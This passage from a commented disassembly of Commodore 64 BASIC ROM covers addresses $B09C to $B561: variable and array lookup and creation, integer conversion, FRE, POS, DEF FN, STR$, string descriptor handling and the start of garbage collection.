CHRGOT ; scan memory [0079] jsr CheckAtoZ ; check byte, return Cb = 0 if < "A" ; or > "Z" [B113] bcs A_B09F ; branch if ok A_B09C ; [B09C] jmp SyntaxError ; else syntax error then warm start ; [AF08] ; was variable name so ... A_B09F ; [B09F] ldx #$00 ; clear 2nd character temp stx VALTYP ; clear data type flag, $FF = string, ; $00 = numeric stx INTFLG ; clear data type flag, $80 = integer, ; $00 = float jsr CHRGET ; increment and scan memory, 2nd ; character [0073] bcc A_B0AF ; if character = "0"-"9" (ok) go save ; 2nd character ; 2nd character wasn't "0" to "9" so ... jsr CheckAtoZ ; check byte, return Cb = 0 if < "A" or ; > "Z" [B113] bcc A_B0BA ; branch if <"A" or >"Z" (go check if ; string) A_B0AF ; [B0AF] tax ; copy 2nd character ; ignore further (valid) characters in the variable name A_B0B0 ; [B0B0] jsr CHRGET ; increment and scan memory, 3rd ; character [0073] bcc A_B0B0 ; loop if character = "0"-"9" (ignore) jsr CheckAtoZ ; check byte, return Cb = 0 if < "A" or ; > "Z" [B113] bcs A_B0B0 ; loop if character = "A"-"Z" (ignore) ; check if string variable A_B0BA ; [B0BA] cmp #'$' ; compare with "$" bne A_B0C4 ; branch if not string ; type is string lda #$FF ; set data type = string sta VALTYP ; set data type flag, $FF = string, ; $00 = numeric bne A_B0D4 ; branch always A_B0C4 ; [B0C4] cmp #'%' ; compare with "%" bne A_B0DB ; branch if not integer lda SUBFLG ; get subscript/FNX flag bne A_B09C ; if ?? do syntax error then warm start lda #$80 ; set integer type sta INTFLG ; set data type = integer ora VARNAM ; OR current variable name first byte sta VARNAM ; save current variable name first byte A_B0D4 ; [B0D4] txa ; get 2nd character back ora #$80 ; set top bit, indicate string or ; integer variable tax ; copy back to 2nd character temp jsr CHRGET ; increment and scan memory [0073] A_B0DB ; [B0DB] stx VARNAM+1 ; save 2nd character sec ; set carry for subtract ora SUBFLG ; or with subscript/FNX flag - or FN ; name sbc #'(' ; subtract "(" bne A_B0E7 ; branch if not "(" jmp FindMakeArray ; go find, or make, array [B1D1] ; either find or create variable ; variable name wasn't xx(.... so look for plain variable A_B0E7 ; [B0E7] ldy #$00 ; clear A sty SUBFLG ; clear subscript/FNX flag lda VARTAB ; get start of variables LB ldx VARTAB+1 ; get start of variables HB A_B0EF ; [B0EF] stx FacTempStor+9 ; save search address HB A_B0F1 ; [B0F1] sta FacTempStor+8 ; save search address LB cpx ARYTAB+1 ; compare with end of variables HB bne A_B0FB ; skip next compare if <> ; high addresses were = so compare low addresses cmp ARYTAB ; compare low address with end of ; variables LB beq A_B11D ; if not found go make new variable A_B0FB ; [B0FB] lda VARNAM ; get 1st character of variable to find cmp (FacTempStor+8),Y ; compare with variable name 1st ; character bne A_B109 ; branch if no match ; 1st characters match so compare 2nd character lda VARNAM+1 ; get 2nd character of variable to find iny ; index to point to variable name 2nd ; character cmp (FacTempStor+8),Y ; compare with variable name 2nd ; character beq A_B185 ; branch if match (found variable) dey ; else decrement index (now = $00) A_B109 ; [B109] clc ; clear carry for add lda FacTempStor+8 ; get search address LB adc #$07 ; +7, offset to next variable name bcc A_B0F1 ; loop if no overflow to HB inx ; else increment HB bne A_B0EF ; loop always, RAM doesn't extend to ; $FFFF ; check byte, return C = 0 if <"A" or >"Z" CheckAtoZ ; [B113] cmp #'A' ; compare with "A" bcc A_B11C ; exit if less ; carry is set sbc #'Z'+1 ; subtract "Z"+1 sec ; set carry sbc #$A5 ; subtract $A5 (restore byte) ; carry clear if byte > $5A A_B11C ; [B11C] rts ; reached end of variable memory without match ; ... so create new variable A_B11D ; [B11D] pla ; pop return address LB pha ; push return address LB cmp #<(GetVariable+2) ; compare with expected calling routine ; return LB bne A_B128 ; if not get variable go create new ; variable ; this will only drop through if the call was from GetVariable and is only ; called from there if it is searching for a variable from the right hand side ; of a LET a=b statement, it prevents the creation of variables not assigned a ; value. ; value returned by this is either numeric zero, exponent byte is $00, or null ; string, descriptor length byte is $00. in fact a pointer to any $00 byte ; would have done. ; else return dummy null value A_B123 ; [B123] lda #<L_BF13 ; set result pointer LB ldy #>L_BF13 ; set result pointer HB rts ; create new numeric variable A_B128 ; [B128] lda VARNAM ; get variable name first character ldy VARNAM+1 ; get variable name second character cmp #'T' ; compare first character with "T" bne A_B13B ; branch if not "T" cpy #'I'+$80 ; compare second character with "I$" beq A_B123 ; if "I$" return null value cpy #'I' ; compare second character with "I" bne A_B13B ; branch if not "I" ; if name is "TI" do syntax error A_B138 ; [B138] jmp SyntaxError ; do syntax error then warm start [AF08] A_B13B ; [B13B] cmp #'S' ; compare first character with "S" bne A_B143 ; branch if not "S" cpy #'T' ; compare second character with "T" beq A_B138 ; if name is "ST" do syntax error A_B143 ; [B143] lda ARYTAB ; get end of variables LB ldy ARYTAB+1 ; get end of variables HB sta FacTempStor+8 ; save old block start LB sty FacTempStor+9 ; save old block start HB lda STREND ; get end of arrays LB ldy STREND+1 ; get end of arrays HB sta FacTempStor+3 ; save old block end LB sty FacTempStor+4 ; save old block end HB clc ; clear carry for add adc #$07 ; +7, space for one variable bcc A_B159 ; branch if no overflow to HB iny ; else increment HB A_B159 ; [B159] sta FacTempStor+1 ; set new block end LB sty FacTempStor+2 ; set new block end HB jsr MoveBlock ; open up space in memory [A3B8] lda FacTempStor+1 ; get new start LB ldy FacTempStor+2 ; get new start HB (-$100) iny ; correct HB sta ARYTAB ; set end of variables LB sty ARYTAB+1 ; set end of variables HB ldy #$00 ; clear index lda VARNAM ; get variable name 1st character sta (FacTempStor+8),Y ; save variable name 1st character iny ; increment index lda VARNAM+1 ; get variable name 2nd character sta (FacTempStor+8),Y ; save variable name 2nd character lda #$00 ; clear A iny ; increment index sta (FacTempStor+8),Y ; initialise variable byte iny ; increment index sta (FacTempStor+8),Y ; initialise variable byte iny ; increment index sta (FacTempStor+8),Y ; initialise variable byte iny ; increment index sta (FacTempStor+8),Y ; initialise variable byte iny ; increment index sta (FacTempStor+8),Y ; initialise variable byte ; found a match for variable A_B185 ; [B185] lda FacTempStor+8 ; get variable address LB clc ; clear carry for add adc #$02 ; +2, offset past variable name bytes ldy FacTempStor+9 ; get variable address HB bcc A_B18F ; branch if no overflow from add iny ; else increment HB A_B18F ; [B18F] sta VARPNT ; save current variable pointer LB sty VARPNT+1 ; save current variable pointer HB rts ; set-up array pointer to first element in array SetupPointer ; [B194] lda COUNT ; get # of dimensions (1, 2 or 3) asl ; *2 (also clears the carry !) adc #$05 ; +5 (result is 7, 9 or 11 here) adc FacTempStor+8 ; add array start pointer LB ldy FacTempStor+9 ; get array pointer HB bcc A_B1A0 ; branch if no overflow iny ; else increment HB A_B1A0 ; [B1A0] sta FacTempStor+1 ; save array data pointer LB sty FacTempStor+2 ; save array data pointer HB rts ;****************************************************************************** ; ; -32768 as floating value M32768 ; [B1A5] .byte $90,$80,$00,$00,$00 ; -32768 ;****************************************************************************** ; ; convert float to fixed Float2Fixed ; [B1AA] jsr EvalInteger3 ; evaluate integer expression, no sign ; check [B1BF] lda FacMantissa+2 ; get result LB ldy FacMantissa+3 ; get result HB rts ;****************************************************************************** ; ; evaluate integer expression EvalInteger ; [B1B2] jsr CHRGET ; increment and scan memory [0073] jsr EvaluateValue ; evaluate expression [AD9E] ; evaluate integer expression, sign check EvalInteger2 ; [B1B8] jsr CheckIfNumeric ; check if source is numeric, else do ; type mismatch [AD8D] lda FACSGN ; get FAC1 sign (b7) bmi A_B1CC ; do illegal quantity error if -ve ; evaluate integer expression, no sign check EvalInteger3 ; [B1BF] lda FACEXP ; get FAC1 exponent cmp #$90 ; compare with exponent = 2^16 (n>2^15) bcc A_B1CE ; if n<2^16 go convert FAC1 floating to ; fixed and return lda #<M32768 ; set pointer LB to -32768 ldy #>M32768 ; set pointer HB to -32768 jsr CmpFAC1withAY ; compare FAC1 with (AY) [BC5B] A_B1CC ; [B1CC] bne IllegalQuant ; if <> do illegal quantity error then ; warm start A_B1CE ; [B1CE] jmp FAC1Float2Fix ; convert FAC1 floating to fixed and ; return [BC9B] ;****************************************************************************** ; ; an array is stored as follows ; ; array name ; two bytes with following patterns for different types ; ; 1st char 2nd char ; ; b7 b7 type element size ; ; -------- -------- ----- ------------ ; ; 0 0 Real 5 ; ; 0 1 string 3 ; ; 1 1 integer 2 ; offset to next array ; word ; dimension count ; byte ; 1st dimension size ; word, this is the number of elements including 0 ; 2nd dimension size ; word, only here if the array has a second dimension ; 2nd dimension size ; word, only here if the array has a third dimension ; ; note: the dimension size word is in HB LB ; ; format, not like most 6502 words ; then for each element the required number of bytes given as the element size ; above ; find or make array FindMakeArray ; [B1D1] lda DIMFLG ; get DIM flag ora INTFLG ; OR with data type flag pha ; push it lda VALTYP ; get data type flag, $FF = string, ; $00 = numeric pha ; push it ldy #$00 ; clear dimensions count ; now get the array dimension(s) and stack it (them) before the data type and ; DIM flag A_B1DB ; [B1DB] tya ; copy dimensions count pha ; save it lda VARNAM+1 ; get array name 2nd byte pha ; save it lda VARNAM ; get array name 1st byte pha ; save it jsr EvalInteger ; evaluate integer expression [B1B2] pla ; pull array name 1st byte sta VARNAM ; restore array name 1st byte pla ; pull array name 2nd byte sta VARNAM+1 ; restore array name 2nd byte pla ; pull dimensions count tay ; restore it tsx ; copy stack pointer lda STACK+2,X ; get DIM flag pha ; push it lda STACK+1,X ; get data type flag pha ; push it lda FacMantissa+2 ; get this dimension size HB sta STACK+2,X ; stack before flag bytes lda FacMantissa+3 ; get this dimension size LB sta STACK+1,X ; stack before flag bytes iny ; increment dimensions count jsr CHRGOT ; scan memory [0079] cmp #',' ; compare with "," beq A_B1DB ; if found go do next dimension sty COUNT ; store dimensions count jsr Chk4CloseParen ; scan for ")", else do syntax error ; then warm start [AEF7] pla ; pull data type flag sta VALTYP ; restore data type flag, $FF = string, ; $00 = numeric pla ; pull data type flag sta INTFLG ; restore data type flag, $80 = integer, ; $00 = float and #$7F ; mask dim flag sta DIMFLG ; restore DIM flag ldx ARYTAB ; set end of variables LB ; (array memory start LB) lda ARYTAB+1 ; set end of variables HB ; (array memory start HB) ; now check to see if we are at the end of array memory, we would be if there ; were no arrays. A_B21C ; [B21C] stx FacTempStor+8 ; save as array start pointer LB sta FacTempStor+9 ; save as array start pointer HB cmp STREND+1 ; compare with end of arrays HB bne A_B228 ; branch if not reached array memory end cpx STREND ; else compare with end of arrays LB beq A_B261 ; go build array if not found ; search for array A_B228 ; [B228] ldy #$00 ; clear index lda (FacTempStor+8),Y ; get array name first byte iny ; increment index to second name byte cmp VARNAM ; compare with this array name first ; byte bne A_B237 ; branch if no match lda VARNAM+1 ; else get this array name second byte cmp (FacTempStor+8),Y ; compare with array name second byte beq A_B24D ; array found so branch ; no match A_B237 ; [B237] iny ; increment index lda (FacTempStor+8),Y ; get array size LB clc ; clear carry for add adc FacTempStor+8 ; add array start pointer LB tax ; copy LB to X iny ; increment index lda (FacTempStor+8),Y ; get array size HB adc FacTempStor+9 ; add array memory pointer HB bcc A_B21C ; if no overflow go check next array ;****************************************************************************** ; ; do bad subscript error BadSubscript ; [B245] ldx #$12 ; error $12, bad subscript error .byte $2C ; makes next line BIT $0EA2 ;****************************************************************************** ; ; do illegal quantity error IllegalQuant ; [B248] ldx #$0E ; error $0E, illegal quantity error A_B24A ; [B24A] jmp OutputErrMsg ; do error #X then warm start [A437] ;****************************************************************************** ; ; found the array A_B24D ; [B24D] ldx #$13 ; set error $13, double dimension error lda DIMFLG ; get DIM flag bne A_B24A ; if we are trying to dimension it do ; error #X then warm start ; found the array and we're not dimensioning it so we must find an element in ; it jsr SetupPointer ; set-up array pointer to first element ; in array [B194] lda COUNT ; get dimensions count ldy #$04 ; set index to array's # of dimensions cmp (FacTempStor+8),Y ; compare with no of dimensions bne BadSubscript ; if wrong do bad subscript error jmp GetArrElement ; found array so go get element [B2EA] ; array not found, so build it A_B261 ; [B261] jsr SetupPointer ; set-up array pointer to first element ; in array [B194] jsr CheckAvailMem ; check available memory, do out of ; memory error if no room [A408] ldy #$00 ; clear Y sty FBUFPT+1 ; clear array data size HB ldx #$05 ; set default element size lda VARNAM ; get variable name 1st byte sta (FacTempStor+8),Y ; save array name 1st byte bpl A_B274 ; branch if not string or floating ; point array dex ; decrement element size, $04 A_B274 ; [B274] iny ; increment index lda VARNAM+1 ; get variable name 2nd byte sta (FacTempStor+8),Y ; save array name 2nd byte bpl A_B27D ; branch if not integer or string dex ; decrement element size, $03 dex ; decrement element size, $02 A_B27D ; [B27D] stx FBUFPT ; save element size lda COUNT ; get dimensions count iny ; increment index .. iny ; .. to array .. iny ; .. dimension count sta (FacTempStor+8),Y ; save array dimension count A_B286 ; [B286] ldx #$0B ; set default dimension size LB lda #$00 ; set default dimension size HB bit DIMFLG ; test DIM flag bvc A_B296 ; branch if default to be used pla ; pull dimension size LB clc ; clear carry for add adc #$01 ; add 1, allow for zeroeth element tax ; copy LB to X pla ; pull dimension size HB adc #$00 ; add carry to HB A_B296 ; [B296] iny ; incement index to dimension size HB sta (FacTempStor+8),Y ; save dimension size HB iny ; incement index to dimension size LB txa ; copy dimension size LB sta (FacTempStor+8),Y ; save dimension size LB jsr CalcArraySize ; compute array size [B34C] stx FBUFPT ; save result LB sta FBUFPT+1 ; save result HB ldy INDEX ; restore index dec COUNT ; decrement dimensions count bne A_B286 ; loop if not all done adc FacTempStor+2 ; add array data pointer HB bcs A_B30B ; if overflow do out of memory error ; then warm start sta FacTempStor+2 ; save array data pointer HB tay ; copy array data pointer HB txa ; copy array size LB adc FacTempStor+1 ; add array data pointer LB bcc A_B2B9 ; branch if no rollover iny ; else increment next array pointer HB beq A_B30B ; if rolled over do out of memory error ; then warm start A_B2B9 ; [B2B9] jsr CheckAvailMem ; check available memory, do out of ; memory error if no room [A408] sta STREND ; set end of arrays LB sty STREND+1 ; set end of arrays HB ; now the aray is created we need to zero all the elements in it lda #$00 ; clear A for array clear inc FBUFPT+1 ; increment array size HB, now block ; count ldy FBUFPT ; get array size LB, now index to block beq A_B2CD ; branch if $00 A_B2C8 ; [B2C8] dey ; decrement index, do 0 to n-1 sta (FacTempStor+1),Y ; clear array element byte bne A_B2C8 ; loop until this block done A_B2CD ; [B2CD] dec FacTempStor+2 ; decrement array pointer HB dec FBUFPT+1 ; decrement block count HB bne A_B2C8 ; loop until all blocks done inc FacTempStor+2 ; correct for last loop sec ; set carry for subtract lda STREND ; get end of arrays LB sbc FacTempStor+8 ; subtract array start LB ldy #$02 ; index to array size LB sta (FacTempStor+8),Y ; save array size LB lda STREND+1 ; get end of arrays HB iny ; index to array size HB sbc FacTempStor+9 ; subtract array start HB sta (FacTempStor+8),Y ; save array size HB lda DIMFLG ; get default DIM flag bne A_B34B ; exit if this was a DIM command ; else, find element iny ; set index to # of dimensions, the ; dimension indeces are on the stack and ; and will be removed as the position ; of the array element is calculated GetArrElement ; [B2EA] lda (FacTempStor+8),Y ; get array's dimension count sta COUNT ; save it lda #$00 ; clear byte sta FBUFPT ; clear array data pointer LB A_B2F2 ; [B2F2] sta FBUFPT+1 ; save array data pointer HB iny ; increment index, point to array bound ; HB pla ; pull array index LB tax ; copy to X sta FacMantissa+2 ; save index LB to FAC1 mantissa 3 pla ; pull array index HB sta FacMantissa+3 ; save index HB to FAC1 mantissa 4 cmp (FacTempStor+8),Y ; compare with array bound HB bcc A_B30E ; branch if within bounds bne A_B308 ; if outside bounds do bad subscript ; error ; else HB was = so test LBs iny ; index to array bound LB txa ; get array index LB cmp (FacTempStor+8),Y ; compare with array bound LB bcc A_B30F ; branch if within bounds A_B308 ; [B308] jmp BadSubscript ; do bad subscript error [B245] A_B30B ; [B30B] jmp OutOfMemory ; do out of memory error then warm start ; [A435] A_B30E ; [B30E] iny ; index to array bound LB A_B30F ; [B30F] lda FBUFPT+1 ; get array data pointer HB ora FBUFPT ; OR with array data pointer LB clc beq A_B320 ; branch if array data pointer = null, ; skip multiply jsr CalcArraySize ; compute array size [B34C] txa ; get result LB adc FacMantissa+2 ; add index LB from FAC1 mantissa 3 tax ; save result LB tya ; get result HB ldy INDEX ; restore index A_B320 ; [B320] adc FacMantissa+3 ; add index HB from FAC1 mantissa 4 stx FBUFPT ; save array data pointer LB dec COUNT ; decrement dimensions count bne A_B2F2 ; loop if dimensions still to do sta FBUFPT+1 ; save array data pointer HB ldx #$05 ; set default element size lda VARNAM ; get variable name 1st byte bpl A_B331 ; branch if not string or floating ; point array dex ; decrement element size, $04 A_B331 ; [B331] lda VARNAM+1 ; get variable name 2nd byte bpl A_B337 ; branch if not integer or string dex ; decrement element size, $03 dex ; decrement element size, $02 A_B337 ; [B337] stx RESHO+2 ; save dimension size LB lda #$00 ; clear dimension size HB jsr CalcArraySize2 ; compute array size [B355] txa ; copy array size LB adc FacTempStor+1 ; add array data start pointer LB sta VARPNT ; save as current variable pointer LB tya ; copy array size HB adc FacTempStor+2 ; add array data start pointer HB sta VARPNT+1 ; save as current variable pointer HB tay ; copy HB to Y lda VARPNT ; get current variable pointer LB ; pointer to element is now in AY A_B34B ; [B34B] rts ; compute array size, result in XY CalcArraySize ; [B34C] sty INDEX ; save index lda (FacTempStor+8),Y ; get dimension size LB sta RESHO+2 ; save dimension size LB dey ; decrement index lda (FacTempStor+8),Y ; get dimension size HB CalcArraySize2 ; [B355] sta RESHO+3 ; save dimension size HB lda #$10 ; count = $10 (16 bit multiply) sta FacTempStor+6 ; save bit count ldx #$00 ; clear result LB ldy #$00 ; clear result HB A_B35F ; [B35F] txa ; get result LB asl ; *2 tax ; save result LB tya ; get result HB rol ; *2 tay ; save result HB bcs A_B30B ; if overflow go do "Out of memory" ; error asl FBUFPT ; shift element size LB rol FBUFPT+1 ; shift element size HB bcc A_B378 ; skip add if no carry clc ; else clear carry for add txa ; get result LB adc RESHO+2 ; add dimension size LB tax ; save result LB tya ; get result HB adc RESHO+3 ; add dimension size HB tay ; save result HB bcs A_B30B ; if overflow go do "Out of memory" ; error A_B378 ; [B378] dec FacTempStor+6 ; decrement bit count bne A_B35F ; loop until all done rts ; perform FRE() bcFRE ; [B37D] lda VALTYP ; get data type flag, $FF = string, ; $00 = numeric beq A_B384 ; branch if numeric jsr PopStrDescStk ; pop string off descriptor stack, or ; from top of string space returns with ; A = length, X=$71=pointer LB, ; Y=$72=pointer HB [B6A6] ; FRE(n) was numeric so do this A_B384 ; [B384] jsr CollectGarbage ; go do garbage collection [B526] sec ; set carry for subtract lda FRETOP ; get bottom of string space LB sbc STREND ; subtract end of arrays LB tay ; copy result to Y lda FRETOP+1 ; get bottom of string space HB sbc STREND+1 ; subtract end of arrays HB ;****************************************************************************** ; ; convert fixed integer AY to float FAC1 ConvertAY2FAC1 ; [B391] ldx #$00 ; set type = numeric stx VALTYP ; clear data type flag, $FF = string, ; $00 = numeric sta FacMantissa ; save FAC1 mantissa 1 sty FacMantissa+1 ; save FAC1 mantissa 2 ldx #$90 ; set exponent=2^16 (integer) jmp J_BC44 ; set exp = X, clear FAC1 3 and 4, ; normalise and return [BC44] ;****************************************************************************** ; ; perform POS() bcPOS ; [B39E] sec ; set Cb for read cursor position jsr CursorPosXY ; read/set X,Y cursor position [FFF0] bcPOS2 ; [B3A2] lda #$00 ; clear HB beq ConvertAY2FAC1 ; convert fixed integer AY to float ; FAC1, branch always ; check not Direct, used by DEF and INPUT ChkDirectMode ; [B3A6] ldx CURLIN+1 ; get current line number HB inx ; increment it bne A_B34B ; return if not direct mode ; else do illegal direct error ldx #$15 ; error $15, illegal direct error .byte $2C ; makes next line BIT $1BA2 A_B3AE ; [B3AE] ldx #$1B ; error $1B, undefined function error jmp OutputErrMsg ; do error #X then warm start [A437] ;****************************************************************************** ; ; perform DEF bcDEF ; [B3B3] jsr ChkFNxSyntax ; check FNx syntax [B3E1] jsr ChkDirectMode ; check not direct, back here if ok ; [B3A6] jsr Chk4OpenParen ; scan for "(", else do syntax error ; then warm start [AEFA] lda #$80 ; set flag for FNx sta SUBFLG ; save subscript/FNx flag jsr GetAddrVar ; get variable address [B08B] jsr CheckIfNumeric ; check if source is numeric, else do ; type mismatch [AD8D] jsr Chk4CloseParen ; scan for ")", else do syntax error ; then warm start [AEF7] lda #TK_EQUAL ; get = token jsr Chk4CharInA ; scan for CHR$(A), else do syntax ; error then warm start [AEFF] pha ; push next character lda VARPNT+1 ; get current variable pointer HB pha ; push it lda VARPNT ; get current variable pointer LB pha ; push it lda TXTPTR+1 ; get BASIC execute pointer HB pha ; push it lda TXTPTR ; get BASIC execute pointer LB pha ; push it jsr bcDATA ; perform DATA [A8F8] jmp Ptrs2Function ; put execute pointer and variable ; pointer into function and return ; [B44F] ;****************************************************************************** ; ; check FNx syntax ChkFNxSyntax ; [B3E1] lda #TK_FN ; set FN token jsr Chk4CharInA ; scan for CHR$(A), else do syntax error ; then warm start [AEFF] ora #$80 ; set FN flag bit sta SUBFLG ; save FN name jsr GetAddrVar3 ; search for FN variable [B092] sta GarbagePtr ; save function pointer LB sty GarbagePtr+1 ; save function pointer HB jmp CheckIfNumeric ; check if source is numeric and return, ; else do type mismatch [AD8D] ;****************************************************************************** ; ; Evaluate FNx EvaluateFNx ; [B3F4] jsr ChkFNxSyntax ; check FNx syntax [B3E1] lda GarbagePtr+1 ; get function pointer HB pha ; push it lda GarbagePtr ; get function pointer LB pha ; push it jsr Chk4Parens ; evaluate expression within parentheses ; [AEF1] jsr CheckIfNumeric ; check if source is numeric, else do ; type mismatch [AD8D] pla ; pop function pointer LB sta GarbagePtr ; restore it pla ; pop function pointer HB sta GarbagePtr+1 ; restore it ldy #$02 ; index to variable pointer HB lda (GarbagePtr),Y ; get variable address LB sta VARPNT ; save current variable pointer LB tax ; copy address LB iny ; index to variable address HB lda (GarbagePtr),Y ; get variable pointer HB beq A_B3AE ; branch if HB zero sta VARPNT+1 ; save current variable pointer HB iny ; index to mantissa 3 ; now stack the function variable value before use A_B418 ; [B418] lda (VARPNT),Y ; get byte from variable pha ; stack it dey ; decrement index bpl A_B418 ; loop until variable stacked ldy VARPNT+1 ; get current variable pointer HB jsr PackFAC1intoXY ; pack FAC1 into (XY) [BBD4] lda TXTPTR+1 ; get BASIC execute pointer HB pha ; push it lda TXTPTR ; get BASIC execute pointer LB pha ; push it lda (GarbagePtr),Y ; get function execute pointer LB sta TXTPTR ; save BASIC execute pointer LB iny ; index to HB lda (GarbagePtr),Y ; get function execute pointer HB sta TXTPTR+1 ; save BASIC execute pointer HB lda VARPNT+1 ; get current variable pointer HB pha ; push it lda VARPNT ; get current variable pointer LB pha ; push it jsr EvalExpression ; evaluate expression and check is ; numeric, else do type mismatch [AD8A] pla ; pull variable address LB sta GarbagePtr ; save variable address LB pla ; pull variable address HB sta GarbagePtr+1 ; save variable address HB jsr CHRGOT ; scan memory [0079] beq A_B449 ; branch if null ([EOL] marker) jmp SyntaxError ; else syntax error then warm start ; [AF08] ; restore BASIC execute pointer and function variable from stack A_B449 ; [B449] pla ; pull BASIC execute pointer LB sta TXTPTR ; save BASIC execute pointer LB pla ; pull BASIC execute pointer HB sta TXTPTR+1 ; save BASIC execute pointer HB ;****************************************************************************** ; ; put execute pointer and variable pointer into function Ptrs2Function ; [B44F] ldy #$00 ; clear index pla ; pull BASIC execute pointer LB sta (GarbagePtr),Y ; save to function pla ; pull BASIC execute pointer HB iny ; increment index sta (GarbagePtr),Y ; save to function pla ; pull current variable address LB iny ; increment index sta (GarbagePtr),Y ; save to function pla ; pull current variable address HB iny ; increment index sta (GarbagePtr),Y ; save to function pla ; pull ?? iny ; increment index sta (GarbagePtr),Y ; save to function rts ;****************************************************************************** ; ; perform STR$() bcSTR ; [B465] jsr CheckIfNumeric ; check if source is numeric, else do ; type mismatch [AD8D] ldy #$00 ; set string index jsr FAC12String ; convert FAC1 to string [BDDF] pla ; dump return address (skip type check) pla ; dump return address (skip type check) bcSTR2 ; [B46F] lda #<StrConvAddr ; set result string low pointer ldy #>StrConvAddr ; set result string high pointer beq QuoteStr2UtPtr ; print null terminated string to ; utility pointer ;****************************************************************************** ; ; do string vector ; copy descriptor pointer and make string space A bytes long StringVector ; [B475] ldx FacMantissa+2 ; get descriptor pointer LB ldy FacMantissa+3 ; get descriptor pointer HB stx TempPtr ; save descriptor pointer LB sty TempPtr+1 ; save descriptor pointer HB ;****************************************************************************** ; ; make string space A bytes long StringLengthA ; [B47D] jsr CreStrAlong ; make space in string memory for string ; A long [B4F4] stx FacMantissa ; save string pointer LB sty FacMantissa+1 ; save string pointer HB sta FACEXP ; save length rts ;****************************************************************************** ; ; scan, set up string ; print " terminated string to utility pointer QuoteStr2UtPtr ; [B487] ldx #'"' ; set terminator to " stx CHARAC ; set search character, terminator 1 stx ENDCHR ; set terminator 2 ; print search or alternate terminated string to utility pointer ; source is AY PrtStr2UtiPtr ; [B48D] sta ARISGN ; store string start LB sty FACOV ; store string start HB sta FacMantissa ; save string pointer LB sty FacMantissa+1 ; save string pointer HB ldy #$FF ; set length to -1 A_B497 ; [B497] iny ; increment length lda (ARISGN),Y ; get byte from string beq A_B4A8 ; exit loop if null byte [EOS] cmp CHARAC ; compare with search character, ; terminator 1 beq A_B4A4 ; branch if terminator cmp ENDCHR ; compare with terminator 2 bne A_B497 ; loop if not terminator 2 A_B4A4 ; [B4A4] cmp #'"' ; compare with " beq A_B4A9 ; branch if " (carry set if = !) A_B4A8 ; [B4A8] clc ; clear carry for add (only if [EOL] ; terminated string) A_B4A9 ; [B4A9] sty FACEXP ; save length in FAC1 exponent tya ; copy length to A adc ARISGN ; add string start LB sta FBUFPT ; save string end LB ldx FACOV ; get string start HB bcc A_B4B5 ; branch if no LB overflow inx ; else increment HB A_B4B5 ; [B4B5] stx FBUFPT+1 ; save string end HB lda FACOV ; get string start HB beq A_B4BF ; branch if in utility area cmp #$02 ; compare with input buffer memory HB bne ChkRoomDescStk ; branch if not in input buffer memory ; string in input buffer or utility area, move to string memory A_B4BF ; [B4BF] tya ; copy length to A jsr StringVector ; copy descriptor pointer and make ; string space A bytes long [B475] ldx ARISGN ; get string start LB ldy FACOV ; get string start HB S_B4C7 jsr Str2UtilPtr2 ; store string A bytes long from XY to ; utility pointer [B688] ; check for space on descriptor stack then ... ; put string address and length on descriptor stack and update stack pointers ChkRoomDescStk ; [B4CA] ldx TEMPPT ; get the descriptor stack pointer cpx #LASTPT+2+9 ; compare it with the maximum + 1 bne A_B4D5 ; if there is space on the string stack ; continue ; else do string too complex error ldx #$19 ; error $19, string too complex error A_B4D2 ; [B4D2] jmp OutputErrMsg ; do error #X then warm start [A437] ; put string address and length on descriptor stack and update stack pointers A_B4D5 ; [B4D5] lda FACEXP ; get the string length sta D6510,X ; put it on the string stack lda FacMantissa ; get the string pointer LB sta D6510+1,X ; put it on the string stack lda FacMantissa+1 ; get the string pointer HB sta D6510+2,X ; put it on the string stack ldy #$00 ; clear Y stx FacMantissa+2 ; save the string descriptor pointer LB sty FacMantissa+3 ; save the string descriptor pointer HB, ; always $00 sty FACOV ; clear FAC1 rounding byte dey ; Y = $FF sty VALTYP ; save the data type flag, $FF = string stx LASTPT ; save the current descriptor stack ; item pointer LB inx ; update the stack pointer inx ; update the stack pointer inx ; update the stack pointer stx TEMPPT ; save the new descriptor stack pointer rts ;****************************************************************************** ; ; make space in string memory for string A long ; return X = pointer LB, Y = pointer HB CreStrAlong ; [B4F4] lsr GARBFL ; clear garbage collected flag (b7) ; make space for string A long A_B4F6 ; [B4F6] pha ; save string length eor #$FF ; complement it sec ; set carry for subtract, two's ; complement add adc FRETOP ; add bottom of string space LB, ; subtract length ldy FRETOP+1 ; get bottom of string space HB bcs A_B501 ; skip decrement if no underflow dey ; decrement bottom of string space HB A_B501 ; [B501] cpy STREND+1 ; compare with end of arrays HB bcc A_B516 ; do out of memory error if less bne A_B50B ; if not = skip next test cmp STREND ; compare with end of arrays LB bcc A_B516 ; do out of memory error if less A_B50B ; [B50B] sta FRETOP ; save bottom of string space LB sty FRETOP+1 ; save bottom of string space HB sta FRESPC ; save string utility ptr LB sty FRESPC+1 ; save string utility ptr HB tax ; copy LB to X pla ; get string length back rts A_B516 ; [B516] ldx #$10 ; error code $10, out of memory error lda GARBFL ; get garbage collected flag bmi A_B4D2 ; if set then do error code X jsr CollectGarbage ; else go do garbage collection [B526] lda #$80 ; flag for garbage collected sta GARBFL ; set garbage collected flag pla ; pull length bne A_B4F6 ; go try again (loop always, length ; should never be = $00) ;****************************************************************************** ; ; garbage collection routine CollectGarbage ; [B526] ldx MEMSIZ ; get end of memory LB lda MEMSIZ+1 ; get end of memory HB ; re-run routine from last ending CollectGarbag2 ; [B52A] stx FRETOP ; set bottom of string space LB sta FRETOP+1 ; set bottom of string space HB ldy #$00 ; clear index sty GarbagePtr+1 ; clear working pointer HB sty GarbagePtr ; clear working pointer LB lda STREND ; get end of arrays LB ldx STREND+1 ; get end of arrays HB sta FacTempStor+8 ; save as highest uncollected string ; pointer LB stx FacTempStor+9 ; save as highest uncollected string ; pointer HB lda #LASTPT+2 ; set descriptor stack pointer ldx #$00 ; clear X sta INDEX ; save descriptor stack pointer LB stx INDEX+1 ; save descriptor stack pointer HB ($00) A_B544 ; [B544] cmp TEMPPT ; compare with descriptor stack pointer beq A_B54D ; branch if = jsr ChkStrSalvage ; check string salvageability [B5C7] beq A_B544 ; loop always ; done stacked strings, now do string variables A_B54D ; [B54D] lda #$07 ; set step size = $07, collecting ; variables sta GarbColStep ; save garbage collection step size lda VARTAB ; get start of variables LB ldx VARTAB+1 ; get start of variables HB sta INDEX ; save as pointer LB stx INDEX+1 ; save as pointer HB A_B559 ; [B559] cpx ARYTAB+1 ; compare end of variables HB, ; start of arrays HB bne A_B561 ; branch if no HB match cmp ARYTAB ; else compare end of variables LB, ; start of arrays LB beq A_B566 ; branch if = variable memory end A_B561 ; [B561] jsr ChkVarSalvage 